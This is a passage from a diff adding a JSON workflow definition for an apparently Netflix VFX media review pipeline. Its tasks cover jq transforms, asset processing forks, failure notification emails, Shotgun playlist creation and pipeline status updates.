"rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "oldCsv", + "inputParameters": { + "inputData": "${manifestResource.output.result.resourceContext.entries}", + "expression": ". // [] | any(has(\"Primary Shot Type\") or has(\"Shot Types\") or has(\"Shot Type\"))" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "manifestNodeDetailsTask", + "inputParameters": { + "inputData": "${pipelineDataAndResources.output.pipelineResources}", + "expression": "map(select(.attachmentType == \"CSV\") | .resourceIdentity.resourceId)[0] as $rid | $rid | if . == null then (\"stl.common.noop\") else (\"stl.cdrive.downloadManifest\") end | { task: ., nodeId: $rid }" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.cdrive.downloadManifest", + "taskReferenceName": "manifestNodeDetails", + "inputParameters": { + "task": "${manifestNodeDetailsTask.output.result.task}", + "nodeId": "${manifestNodeDetailsTask.output.result.nodeId}", + "userId": "${pipelineData.output.request.request.data.ownerUser}", + "useAppAuth": true + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "task", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082388180, + "createdBy": "CPEWORKFLOW", + "name": "stl.cdrive.downloadManifest", + "description": "get the cdrive manifest of a node.", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["nodeId", "userId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "manifestDetails", + "inputParameters": { + "inputData": "${manifestNodeDetails.output.output}", + "expression": "if .downloadManifest != null then .assets[0] | { manifestName: .fileName[(.fileName|index(\"/\"))+1:], manifestBagginsUrl: .bagginsUrl, manifestNodeId: .nodeId, manifestIncluded: true } else {} end" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "getCreatedAssets", + "inputParameters": { + "inputData": "${pipelineDataAndResources.output.pipelineResources}", + "expression": "map(select(.resourceIdentity.resourceType == \"AMP_ASSET\") | .resourceIdentity | { assetId: .resourceId, versionId: .versionId })" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareGetAssetsTasks", + "inputParameters": { + "inputData": "${getCreatedAssets.output.result}", + "expressions": ["map({id: .assetId, version: .versionId})"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.amp.getAssetsTree", + "taskReferenceName": "assets_tree", + "inputParameters": { + "assetIds": "${prepareGetAssetsTasks.output.result}", + "derivatives": ["PROXY"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1600451428431, + "createdBy": "CPEWORKFLOW", + "name": "stl.amp.getAssetsTree", + "description": "Get the full asset tree", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["assetIds", "derivatives", "relations"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "cpe-che-backend@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "assetsByType", + "inputParameters": { + "inputData": "${assets_tree.output.output}", + "expressions": [ + "map( .assets | to_entries | map(.value)) | {proxies: map(select(any(.payload.type == \"PMR_REVIEW_PROXY\")) | map({assetId: .assetId, type: .payload.type})), images: map(select(any(.payload.type == \"IMAGE\")) | map({assetId: .assetId, type: .payload.type}))} " + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareAssetProcessingTasks", + "inputParameters": { + "inputData": { + "assets": "${assetsByType.output.result}", + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "expressions": [ + ". as $in | [$in.assets.proxies, $in.assets.images] | add | if . | length == 0 then [] else . | add end | map(select(.type == \"PMR_REVIEW_VERSION\") | {assetId: .assetId.id, versionId: .assetId.version}) | {assets: . , pipelineId: $in.pipelineId} as $in |", + " $in.assets | { taskDefs: map( {type: \"SUB_WORKFLOW\", name: \"process_asset\", taskReferenceName: \"process_asset_\\(.assetId)_\\(.versionId)\", subWorkflowParam: {name: \"vfxmediareview.assetprocessing\"}}),", + " taskInputs: map( { key: \"process_asset_\\(.assetId)_\\(.versionId)\", value: {assetId, versionId, pipelineId: $in.pipelineId}}) | from_entries }" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "asset_processing", + "taskReferenceName": "asset_processing", + "inputParameters": { + "taskDefs": "${prepareAssetProcessingTasks.output.result.taskDefs}", + "taskInputs": "${prepareAssetProcessingTasks.output.result.taskInputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "taskDefs", + "dynamicForkTasksInputParamName": "taskInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "asset_processing_join", + "taskReferenceName": "asset_processing_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "evaluateAssetProcessingResults", + "inputParameters": { + "inputData": "${asset_processing_join.output}", + "expression": "to_entries | map(.value | { file, message: .description, outcome }) | { encodedFiles: map({ file, message }), outcome: (map(select(.outcome == \"FAILED\")) | if length > 0 then \"REPORT_ERRORS\" else \"PROCESS_SUBMISSION\" end) }" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "decide", + "taskReferenceName": "checkDeliveryStatus", + "inputParameters": { + "outcome": "${evaluateAssetProcessingResults.output.result.outcome}" + }, + "type": "DECISION", + "caseValueParam": "outcome", + "decisionCases": { + "REPORT_ERRORS": [ + { + "name": "stl.common.jq", + "taskReferenceName": "assetProcessingResults", + "inputParameters": { + "inputData": "${asset_processing_join.output}", + "expression": "to_entries | map(.value | select(.outcome != \"SUCCESS\") | { file, message: .description, outcome }) | { encodedFiles: map({ file, message }), outcome: (map(select(.outcome == \"FAILED\")) | if length > 0 then \"REPORT_ERRORS\" else \"PROCESS_SUBMISSION\" end) }" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareRecipientDomainsForEncodingErrors", + "inputParameters": { + "inputData": { + "reviewServerConfig": "${reviewServerConfig.output.result}", + "domains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + }, + { + "domains": ["netflix.amp.domain.production_vfx"], + "partnerId": "${pipelineData.output.request.request.data.vendorId}", + "ignoreIfPartnerNull": true + }, + { + "profiles": ["PRODUCTION_VFX_ADMIN"], + "includeUsersWithProfile": true + } + ], + "fallbackDomains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + } + ] + }, + "expression": ". as $in | $in.domains" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "notify_sendEncodingErrorsEmail", + "taskReferenceName": "sendEncodingErrorsEmail", + "inputParameters": { + "emailType": "SINGLE", + "domains": "${prepareRecipientDomainsForEncodingErrors.output.result}", + "additionalRecipients": [ + "vfx-media-review@netflix.com", + "e1u9g2p6u1b8e5x7@netflix.slack.com" + ], + "additionalUsers": [ + "${pipelineData.output.request.request.data.ownerUser}" + ], + "eventName": "EVENT_MESSAGE_VFX_REVIEW_SUBMISSION", + "eventType": "MESSAGE_VFX_REVIEW_SUBMISSION", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "emailPayload": { + "status": "FAILED", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionId": "${pipelineData.output.request.request.data.submissionId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "filesWithEncodingErrors": "${assetProcessingResults.output.result.encodedFiles}", + "pipelineId": "${pipelineData.output.pipelineId}", + "subject": "Processing of submission ${pipelineData.output.request.request.data.submissionId} failed!", + "chProjectId": "${pipelineData.output.request.request.data.projectId}", + "oldCsv": "${oldCsv.output.result}", + "manifestWarnings": "${assetdiscovery.output.displayWarnings}" + } + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.notification", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "cperequest_transition", + "taskReferenceName": "requestRedelivery", + "inputParameters": { + "namespace": "${pipelineData.output.request.request.namespace}", + "type": "${pipelineData.output.request.request.type}", + "requestId": "${pipelineData.output.request.request.id}", + "transitionName": "redeliver", + "skipIfInState": ["REDELIVERY"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "updateTime": 1604373979513, + "updatedBy": "cperequest", + "name": "cperequest_transition", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "namespace", + "type", + "requestId", + "transitionName", + "currentState", + "currentVersion", + "assignee", + "clearAssignee", + "dueDate", + "clearDueDate", + "skipIfInState", + "transitionDetails" + ], + "outputKeys": ["request"], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "mce-workflow-infra@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.complete", + "taskReferenceName": "completePipeline_SubmissionRejected", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385940, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.complete", + "description": "Final task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "SubmissionRejected", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": { + "outcome": "SUBMISSION_REJECTED", + "code": "SOURCE_ERRORS" + } + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "PROCESS_SUBMISSION": [ + { + "name": "stl.common.noop", + "taskReferenceName": "proceedWithShotgunProcessing", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082386204, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.noop", + "description": "Do nothing", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "stl.pipeline.complete", + "taskReferenceName": "completePipeline_UnknownError1", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385940, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.complete", + "description": "Final task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "UnknownError1", + "inputParameters": { + "terminationStatus": "FAILED", + "workflowOutput": { + "outcome": "UNKNOWN_ERROR", + "code": "INTERNAL_ERRORS" + } + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "submissionFolderProjection", + "taskReferenceName": "submissionFolderProjection", + "inputParameters": { + "pipelineId": "${pipelineData.output.request.request.data.pipelineId}", + "manifest": { + "name": "${manifestDetails.output.result.manifestName}", + "bagginsUrl": "${manifestDetails.output.result.manifestBagginsUrl}" + }, + "assets": "${getCreatedAssets.output.result}", + "vendorName": "${vendorDetails.output.vendorName}" + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.projectsubmission", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.map", + "taskReferenceName": "pipelineDetails", + "inputParameters": { + "submissionUri": "workspace?workspaceRoot=SHARED&layout=TREE&categoryType=workspace&workspaceFolderId=${submissionFolderProjection.output.sharedSubmissionFolderId}", + "mappings": { + "submissionUri": "['submissionUri']" + } + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082386616, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.map", + "description": "General purpose task to apply expression language (SpEL) transforms", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["mappings"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.get", + "taskReferenceName": "getPipelineData", + "inputParameters": { + "pipelineId": "${pipelineData.output.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385634, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.get", + "description": "Read pipeline given pipeline id", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": ["pipeline"], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "updateShotgunProcessingStart", + "inputParameters": { + "inputData": { + "resources": "${getPipelineData.output.pipelineResources}" + }, + "expression": ".resources | map((select(.attachmentType==\"EXPECTED_ASSET\") | . as $r | $r | .resourceContext.progress | map( if .name == \"SHOTGUN_UPLOAD\" then { name, status: \"IN_PROGRESS\" } else . end ) as $p | $r * { resourceContext: ($r.resourceContext * {progress: $p}) }) )" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.updateResource", + "taskReferenceName": "updateResourceShotgunStarted", + "inputParameters": { + "resources": "${updateShotgunProcessingStart.output.result}", + "pipelineId": "${pipelineData.output.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1576822186221, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.updateResource", + "description": "Update a pipeline resource", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId", "resource"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 3000, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.titus", + "taskReferenceName": "getVendors", + "inputParameters": { + "applicationName": "che/vfx-review-cli", + "version": "${NETFLIX_ENVIRONMENT}.latest", + "entryPoint": "python cli.py vendors -s \"https://${reviewServerConfig.output.result.server}\" -p ${reviewServerConfig.output.result.projectId} --rc-conductor \"${CPEWF_TASK_ID}\" " + }, + "type": "TITUS", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1580327637347, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.titus", + "retryCount": 3, + "timeoutSeconds": 3600, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 90, + "responseTimeoutSeconds": 1200, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": true, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "playlistVendorParameter", + "inputParameters": { + "inputData": "${getVendors.output.result}", + "expressions": [ + ".vendors | map(select(.sg_global_vendor.sg_vendor_id == \"${pipelineData.output.request.request.data.vendorId}\"))[0] // null", + "| if . then \"--vendor-id \\(.id)\" else \"\" end" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sgPlaylist", + "taskReferenceName": "playlistInfo", + "inputParameters": { + "pipelineId": "${pipelineData.output.request.request.data.pipelineId}", + "playlistName": "${pipelineData.output.request.request.data.submissionId}", + "contenthubProjectUrl": "${details.output.contenthubProjectUrl}", + "reviewServerConfig": { + "server": "${reviewServerConfig.output.result.server}", + "projectId": "${reviewServerConfig.output.result.projectId}" + }, + "playlistVendorParameter": "${playlistVendorParameter.output.result}" + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotgunplaylist", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "assetAndComputedMetadata", + "inputParameters": { + "inputData": { + "assets": "${assets_tree.output.output}", + "entries": "${manifestResource.output.result.resourceContext.entries}" + }, + "expressions": [ + "def sf(e): .submitting_for; ", + "def desc(e): .submission_note; ", + "def sow(e): .scope_of_work; ", + ". as $in | ", + "$in.entries | to_entries as $entries | ", + "$in.assets | map(.assets | to_entries | map(.value)) | add | map(. as $a | $a | .payload.metadata as $meta | ", + "$meta | { metadata: { reason_for_review: ([ \"• *SUBMITTING FOR* - \\(sf(.))\", \"• *SCOPE OF WORK* - \\(sow(.))\", 